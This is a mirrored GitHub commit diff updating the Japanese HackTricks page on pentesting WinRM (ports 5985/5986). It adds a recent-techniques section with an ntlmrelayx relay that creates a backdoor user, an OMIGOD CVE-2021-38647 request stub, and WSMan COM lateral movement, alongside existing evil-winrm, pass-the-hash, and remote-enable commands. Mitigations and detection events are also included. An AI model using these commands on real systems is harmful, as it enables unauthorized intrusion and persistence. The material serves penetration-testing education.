mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/5985-5986-pentesting-winrm.
This commit is contained in:
parent
23bb2da58e
commit
24d2d9f2ee
@ -4,7 +4,7 @@
|
||||
|
||||
## WinRM
|
||||
|
||||
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) は、**Microsoftによって強調されたプロトコル**であり、**HTTP(S)を通じてWindowsシステムのリモート管理を可能にします**。このプロセスではSOAPを利用しています。基本的にはWMIによって動作し、WMI操作のためのHTTPベースのインターフェースとして機能します。
|
||||
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) は、**Microsoftによって強調されたプロトコル**であり、**HTTP(S)を通じてWindowsシステムのリモート管理を可能にします**。このプロセスではSOAPを活用しています。基本的にはWMIによって動作し、WMI操作のためのHTTPベースのインターフェースとして機能します。
|
||||
|
||||
マシン上にWinRMが存在することで、SSHが他のオペレーティングシステムで機能するのと同様に、PowerShellを介したリモート管理が簡単に行えます。WinRMが動作しているかどうかを確認するには、特定のポートが開いているかをチェックすることが推奨されます:
|
||||
|
||||
@ -22,7 +22,7 @@ Set-Item wsman:\localhost\client\trustedhosts *
|
||||
```
|
||||
このアプローチは、`trustedhosts` 設定にワイルドカードを追加することを含みます。このステップは、その影響を考慮する必要があるため、慎重な検討が求められます。また、攻撃者のマシンでネットワークタイプを「Public」から「Work」に変更する必要があることも指摘されています。
|
||||
|
||||
さらに、WinRMは `wmic` コマンドを使用して**リモートで**アクティブ化できます。以下に示します:
|
||||
さらに、WinRMは `wmic` コマンドを使用して**リモートで**有効化できます。以下に示します:
|
||||
```bash
|
||||
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
|
||||
```
|
||||
@ -36,7 +36,7 @@ wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -forc
|
||||
```bash
|
||||
Test-WSMan <target-ip>
|
||||
```
|
||||
プロトコルバージョンとwsmidに関する情報が含まれており、WinRMが正しく設定されていることを示しています。
|
||||
プロトコルバージョンとwsmidに関する情報が含まれており、WinRMが正しく設定されていることを示します。
|
||||
|
||||
.png>)
|
||||
|
||||
@ -52,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
|
||||
```
|
||||
.png>)
|
||||
|
||||
現在のPSコンソールのコマンドを**_**Invoke-Command**_を介して**実行することもできます。ローカルに**_**enumeration**_という関数があり、リモートコンピュータでそれを**実行したい場合**、次のようにできます:
|
||||
現在のPSコンソールのコマンドを**_**Invoke-Command**_を介して**実行することもできます。ローカルに**_**enumeration**_という関数があり、リモートコンピュータでそれを**実行したい場合**、次のようにします:
|
||||
```bash
|
||||
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
|
||||
```
|
||||
@ -89,13 +89,13 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
|
||||
|
||||
### **WinRMを強制的に開く**
|
||||
|
||||
PSリモーティングとWinRMを使用するために、コンピュータが構成されていない場合は、次のコマンドで有効にできます:
|
||||
PSリモーティングとWinRMを使用するために、コンピュータが構成されていない場合は、次のコマンドで有効にできます:
|
||||
```bash
|
||||
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
|
||||
```
|
||||
### セッションの保存と復元
|
||||
|
||||
この**機能は動作しません**、もし**リモートコンピュータ**で**言語**が**制約**されている場合。
|
||||
この**方法は機能しません**、もし**リモートコンピュータ**で**言語**が**制約**されている場合。
|
||||
```bash
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
@ -146,7 +146,7 @@ gem install evil-winrm
|
||||
```ruby
|
||||
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
||||
```
|
||||
evil-winrmを使用して**IPv6アドレス**に接続するには、_**/etc/hosts**_内にエントリを作成し、**ドメイン名**をIPv6アドレスに設定して、そのドメインに接続します。
|
||||
**evil-winrm**を使用して**IPv6アドレス**に接続するには、_**/etc/hosts**_内にエントリを作成し、**ドメイン名**をIPv6アドレスに設定して、そのドメインに接続します。
|
||||
|
||||
### evil-winrmでハッシュを渡す
|
||||
```ruby
|
||||
@ -162,7 +162,7 @@ Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential
|
||||
```
|
||||
### Rubyスクリプトの使用
|
||||
|
||||
**コードはここから抽出されました:** [**https://alamot.github.io/winrm_shell/**](https://alamot.github.io/winrm_shell/)
|
||||
**ここから抽出したコード:** [**https://alamot.github.io/winrm_shell/**](https://alamot.github.io/winrm_shell/)
|
||||
```ruby
|
||||
require 'winrm-fs'
|
||||
|
||||
@ -220,7 +220,72 @@ end
|
||||
|
||||
- `port:5985 Microsoft-HTTPAPI`
|
||||
|
||||
## References
|
||||
---
|
||||
|
||||
## 最近の脆弱性と攻撃技術 (2021-2025)
|
||||
|
||||
### NTLMリレーをWinRM (WS-MAN)に直接
|
||||
Impacket 0.11(2023年5月)以降、`ntlmrelayx.py`はキャプチャしたNTLM認証情報を**WS-MAN**/WinRMリスナーに直接リレーできます。ホストが**暗号化されていないHTTP (5985)**でリスニングしている場合、攻撃者は*mitm6*(または*Responder*)を組み合わせて認証を強制し、SYSTEMレベルのコード実行を取得できます。
|
||||
```bash
|
||||
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
|
||||
--command "net user pwned P@ssw0rd! /add"
|
||||
```
|
||||
緩和策
|
||||
* HTTPリスナーを無効にする – `Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false`
|
||||
* HTTPSを強制し、最近のWindowsバージョンで認証のための拡張保護(EPA)を有効にする。
|
||||
|
||||
### OMIGOD – CVE-2021-38647 (Azure OMI)
|
||||
Azure Linuxエージェントは、ポート **5985/5986** でWinRM/WS-MAN APIを公開する**Open Management Infrastructure (OMI)**サービスを使用しています。論理エラーにより、**認証されていないRCEがrootとして可能**になりました:
|
||||
```text
|
||||
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml …/>'
|
||||
```
|
||||
OMI(バージョン ≥ 1.6.8-1)をパッチまたは削除し、これらのポートをインターネットからブロックします。
|
||||
|
||||
### WSMan.Automation COMの悪用による横移動
|
||||
WinRMは、`WSMan.Automation` COMオブジェクトを介してPowerShellなしで操作できます - 制約付き言語モードのシステムで便利です。*SharpWSManWinRM*のようなツールは、この技術をラップします:
|
||||
```powershell
|
||||
$ws = New-Object -ComObject 'WSMan.Automation'
|
||||
$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
|
||||
$cmdId = $session.Command('cmd.exe',@('/c','whoami'))
|
||||
$session.Signal($cmdId,0)
|
||||
```
|
||||
実行チェーン(`svchost → wmiprvse → cmd.exe`)は、従来のPS-リモーティングと同じです。
|
||||
|
||||
---
|
||||
|
||||
## ツールの更新
|
||||
|
||||
* **Evil-WinRM v3.x (2024)** – 現在、**Kerberos**(`-k` / `--spn`)および**証明書ベース**の認証(`--cert-pem`/`--key-pem`)、セッションログ(`-L`)、リモートパス補完を無効にする機能(`-N`)をサポートしています。
|
||||
|
||||
```bash
|
||||
RHOST=10.0.0.25 evil-winrm -i $RHOST -u j.doe -k --spn HTTP/$RHOST
|
||||
```
|
||||
|
||||
* **Python – `pypsrp` 0.9 (2024)** は、CredSSPおよびKerberosを含むLinuxからのWinRMおよびPS-リモーティングを提供します:
|
||||
|
||||
```python
|
||||
from psrp.client import Client
|
||||
c = Client('srv01', username='ACME\\j.doe', ssl=True)
|
||||
print(c.execute_cmd('ipconfig /all').std_out.decode())
|
||||
```
|
||||
|
||||
* **検出** – **Microsoft-Windows-WinRM/Operational** ログを監視します:
|
||||
* イベント 91 / 163 – シェルが作成されました
|
||||
* イベント 182 – 認証失敗
|
||||
* セキュリティログのイベント 4262 は、ソースIPを記録します(2022年7月のCUで追加)。
|
||||
これらを中央で収集し、匿名または外部IPにアラートを出します。
|
||||
|
||||
---
|
||||
|
||||
## Shodan
|
||||
|
||||
- `port:5985 Microsoft-HTTPAPI`
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
|
||||
- [https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/)
|
||||
- [https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure)
|
||||
|
||||
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user